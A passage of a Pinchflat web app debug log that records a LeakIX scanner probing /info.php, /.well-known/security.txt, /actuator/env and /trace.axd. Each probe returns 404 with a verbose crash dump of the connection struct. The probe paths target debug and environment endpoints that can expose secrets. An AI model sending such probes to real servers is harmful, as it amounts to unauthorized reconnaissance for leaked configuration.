"7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/telescope/requests", resp (truncated) 21:37:50.114 [info] GET /info.php 21:37:50.115 [debug] QUERY OK source="settings" db=0.3ms idle=1012.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:50.116 [debug] QUERY OK source="settings" db=0.3ms idle=1012.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:50.116 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:50.116 [error] #PID<0.36626.0> running PinchflatWeb.Endpoint (connection #PID<0.36607.0>, stream id 18) terminated Server: youtube.plexultra.com:80 (http) Request: GET /info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36626.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMlaPcFWAFrCsAAVtD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36626.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must (truncated) 21:37:50.579 [info] {"source":"oban","duration":4172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:51.103 [info] GET /.well-known/security.txt 21:37:51.104 [debug] QUERY OK source="settings" db=0.5ms idle=1071.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:51.104 [debug] QUERY OK source="settings" db=0.2ms idle=989.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:51.105 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:51.105 [error] #PID<0.36627.0> running PinchflatWeb.Endpoint (connection #PID<0.36607.0>, stream id 19) terminated Server: youtube.plexultra.com:80 (http) Request: GET /.well-known/security.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.well-known/security (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/security.txt", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36627.0>, params: %{}, path_info: [".well-known", "security"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/.well-known/security.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMld7P60Vfv1cAAVtj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/security.txt", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.well-known/security (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/security.txt", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36627.0>, params: %{}, path_info: [".well-known", "security"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: (truncated) 21:37:52.101 [info] GET /actuator/env 21:37:52.102 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=997.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:52.103 [debug] QUERY OK source="settings" db=0.3ms idle=997.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:52.103 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:52.104 [error] #PID<0.36628.0> running PinchflatWeb.Endpoint (connection #PID<0.36607.0>, stream id 20) terminated Server: youtube.plexultra.com:80 (http) Request: GET /actuator/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 20, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36628.0>, params: %{}, path_info: ["actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMlhpJU1F-fxMAAVuD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 20, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 20, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36628.0>, params: %{}, path_info: ["actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/actuator/env", resp_body: nil, resp_cookies: %{}, resp_head (truncated) 21:37:53.100 [info] GET /trace.axd 21:37:53.101 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1056.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:53.102 [debug] QUERY OK source="settings" db=0.1ms idle=1057.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:53.102 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:53.102 [error] #PID<0.36629.0> running PinchflatWeb.Endpoint (connection #PID<0.36607.0>, stream id 21) terminated Server: youtube.plexultra.com:80 (http) Request: GET /trace.axd ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /trace (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/trace.axd", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 21, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36629.0>, params: %{}, path_info: ["trace"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/trace.axd", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMllXa596ZN_sAAVuj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/trace.axd", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 21, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /trace (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/trace.axd", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 21, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36629.0>, params: %{}, path_info: ["trace"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", 